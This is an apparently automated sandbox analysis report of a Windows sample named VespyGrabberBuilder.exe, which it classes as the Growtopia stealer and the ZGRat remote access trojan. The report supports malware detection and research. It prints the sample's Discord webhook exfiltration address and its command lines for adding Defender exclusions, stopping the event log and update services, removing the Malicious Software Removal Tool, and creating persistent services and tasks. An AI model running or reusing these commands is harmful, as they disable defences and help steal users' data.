growtopia | c08b63c50a78ca119a5ff4fe10592a0f66289708df38349e91e645214aae7576

Analysis

max time kernel
94s
max time network
104s
platform
windows11-21h2_x64
resource
win11-20231215-en
resource tags

arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system
submitted
07-02-2024 07:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

VespyGrabberBuilder.exe
Size

12.6MB
MD5

fab385fb154644665f94aca9424fb0ce
SHA1

8dc525108cebd97b3127129cc1633a7f31010424
SHA256

c08b63c50a78ca119a5ff4fe10592a0f66289708df38349e91e645214aae7576
SHA512

07def38b8590ebaa95d7213e77e3892f60f10a87cef797fa07c6feb033f08d4148024360c7c32b5f92441c41236b8a86e66cee59bb51d6fbde97b86923a640e3
SSDEEP

393216:NayDfg/3Y8G6jgVINcfwt+F2CZZiLe2Wq:wyDfYPwPwtO2Mie2J

Score

10^/10

growtopia zgrat evasion persistence pyinstaller rat stealer

Malware Config

Extracted

Family

growtopia

https://discord.com/api/webhooks/1199763266872803338/8vedcXoMcyExhe1xhBm5f8ncmafWmOB3pkulE0l8g9Pel0t3ziyr2V51cLTVEjYsE4Rj

Signatures

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral1/memory/4072-57-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-64-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-62-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-78-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-88-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-110-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-119-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-123-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-137-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-143-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-145-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-150-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-153-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-155-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-157-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-163-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-165-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-161-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-167-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-171-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-169-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-173-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-175-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-179-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-182-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-184-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-177-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-159-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-148-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-141-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-133-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-98-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-59-0x0000000005820000-0x0000000005885000-memory.dmp	family_zgrat_v1
behavioral1/memory/4072-50-0x0000000005820000-0x000000000588C000-memory.dmp	family_zgrat_v1

Growtopia
Growtopa is an opensource modular stealer written in C#.
stealer growtopia
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 8 IoCs

pid	Process
4072	sc.exe
2940	WinHostMgr.exe
3872	WinErrorMgr.exe
2820	Sahyui1337.exe
4628	KeyGeneratorTOP.exe
2520	KeyGeneratorTOP.exe
1332	WinErrorMgr.exe
3372	bauwrdgwodhv.exe

Loads dropped DLL 4 IoCs

pid	Process
2520	KeyGeneratorTOP.exe
2520	KeyGeneratorTOP.exe
2520	KeyGeneratorTOP.exe
2520	KeyGeneratorTOP.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
1	discord.com
2	discord.com
10	pastebin.com
46	pastebin.com

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	WinHostMgr.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	bauwrdgwodhv.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3372 set thread context of 3448	3372	bauwrdgwodhv.exe	123
PID 3372 set thread context of 1672	3372	bauwrdgwodhv.exe	119

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
392	sc.exe
1596	sc.exe
856	sc.exe
4228	sc.exe
4572	sc.exe
2304	sc.exe
2344	sc.exe
2604	sc.exe
4304	sc.exe
4844	sc.exe
4072	sc.exe
4860	sc.exe
4904	sc.exe
3732	sc.exe

Detects Pyinstaller 4 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000100000002a7f2-52.dat	pyinstaller
behavioral1/files/0x000100000002a7f2-56.dat	pyinstaller
behavioral1/files/0x000100000002a7f2-73.dat	pyinstaller
behavioral1/files/0x000100000002a7f2-90.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4836	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 50 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2820	Sahyui1337.exe
2820	Sahyui1337.exe
5020	powershell.exe
5020	powershell.exe
1760	msedge.exe
1760	msedge.exe
4620	msedge.exe
4620	msedge.exe
5104	msedge.exe
5104	msedge.exe
4104	identity_helper.exe
4104	identity_helper.exe
2940	WinHostMgr.exe
4468	powershell.exe
4468	powershell.exe
4468	powershell.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
2940	WinHostMgr.exe
3372	bauwrdgwodhv.exe
228	powershell.exe
228	powershell.exe
228	powershell.exe
3372	bauwrdgwodhv.exe
3372	bauwrdgwodhv.exe
3372	bauwrdgwodhv.exe
3372	bauwrdgwodhv.exe
3372	bauwrdgwodhv.exe
3372	bauwrdgwodhv.exe
3372	bauwrdgwodhv.exe
3372	bauwrdgwodhv.exe
3372	bauwrdgwodhv.exe
3372	bauwrdgwodhv.exe
3372	bauwrdgwodhv.exe
3372	bauwrdgwodhv.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe
1672	explorer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2820	Sahyui1337.exe
Token: SeDebugPrivilege	4072	sc.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeShutdownPrivilege	436	powercfg.exe
Token: SeCreatePagefilePrivilege	436	powercfg.exe
Token: SeShutdownPrivilege	832	powercfg.exe
Token: SeCreatePagefilePrivilege	832	powercfg.exe
Token: SeShutdownPrivilege	2788	powercfg.exe
Token: SeCreatePagefilePrivilege	2788	powercfg.exe
Token: SeShutdownPrivilege	2196	powercfg.exe
Token: SeCreatePagefilePrivilege	2196	powercfg.exe
Token: SeDebugPrivilege	228	powershell.exe
Token: SeShutdownPrivilege	4664	powercfg.exe
Token: SeCreatePagefilePrivilege	4664	powercfg.exe
Token: SeShutdownPrivilege	3668	powercfg.exe
Token: SeCreatePagefilePrivilege	3668	powercfg.exe
Token: SeShutdownPrivilege	4864	powercfg.exe
Token: SeCreatePagefilePrivilege	4864	powercfg.exe
Token: SeShutdownPrivilege	3804	powercfg.exe
Token: SeCreatePagefilePrivilege	3804	powercfg.exe
Token: SeLockMemoryPrivilege	1672	explorer.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe
4620	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 928 wrote to memory of 5020	928	VespyGrabberBuilder.exe	76
PID 928 wrote to memory of 5020	928	VespyGrabberBuilder.exe	76
PID 928 wrote to memory of 5020	928	VespyGrabberBuilder.exe	76
PID 928 wrote to memory of 4072	928	VespyGrabberBuilder.exe	159
PID 928 wrote to memory of 4072	928	VespyGrabberBuilder.exe	159
PID 928 wrote to memory of 4072	928	VespyGrabberBuilder.exe	159
PID 928 wrote to memory of 2940	928	VespyGrabberBuilder.exe	79
PID 928 wrote to memory of 2940	928	VespyGrabberBuilder.exe	79
PID 928 wrote to memory of 3872	928	VespyGrabberBuilder.exe	80
PID 928 wrote to memory of 3872	928	VespyGrabberBuilder.exe	80
PID 928 wrote to memory of 3872	928	VespyGrabberBuilder.exe	80
PID 928 wrote to memory of 2820	928	VespyGrabberBuilder.exe	81
PID 928 wrote to memory of 2820	928	VespyGrabberBuilder.exe	81
PID 928 wrote to memory of 4628	928	VespyGrabberBuilder.exe	82
PID 928 wrote to memory of 4628	928	VespyGrabberBuilder.exe	82
PID 4628 wrote to memory of 2520	4628	KeyGeneratorTOP.exe	97
PID 4628 wrote to memory of 2520	4628	KeyGeneratorTOP.exe	97
PID 3872 wrote to memory of 1332	3872	WinErrorMgr.exe	96
PID 3872 wrote to memory of 1332	3872	WinErrorMgr.exe	96
PID 3872 wrote to memory of 1332	3872	WinErrorMgr.exe	96
PID 2520 wrote to memory of 4620	2520	KeyGeneratorTOP.exe	85
PID 2520 wrote to memory of 4620	2520	KeyGeneratorTOP.exe	85
PID 4620 wrote to memory of 3948	4620	msedge.exe	84
PID 4620 wrote to memory of 3948	4620	msedge.exe	84
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87
PID 4620 wrote to memory of 1804	4620	msedge.exe	87

C:\Users\Admin\AppData\Local\Temp\VespyGrabberBuilder.exe
"C:\Users\Admin\AppData\Local\Temp\VespyGrabberBuilder.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:928
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAcgB3ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAZAB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AdABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGkAYgBxACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5020
- C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe
  "C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe"
  2⤵
  PID:4072
- C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2940
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4468
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:2344
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:4860
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:4904
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GMDTJRUT" binpath= "C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:4228
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:3732
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2196
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:832
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2788
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:436
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:4572
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4844
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Executes dropped EXE
    - Launches sc.exe
    - Suspicious use of AdjustPrivilegeToken
    PID:4072
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3736
- C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3872
- - C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe
    "C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe"
    3⤵
    - Executes dropped EXE
    PID:1332
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /Create /TN "WindowsErrorHandler" /XML "C:\Users\Admin\AppData\Local\Temp\tmpB84.tmp" /F
      4⤵
      Creates scheduled task(s)
      PID:4836
- C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe
  "C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe
  "C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4628
- - C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe
    "C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2520

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc51083cb8,0x7ffc51083cc8,0x7ffc51083cd8
1⤵
PID:3948

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://onepiecered.co/s?mH4q
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1692,16893156305344123459,17767599051249162345,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1692,16893156305344123459,17767599051249162345,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1924 /prefetch:2
  2⤵
  PID:1804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
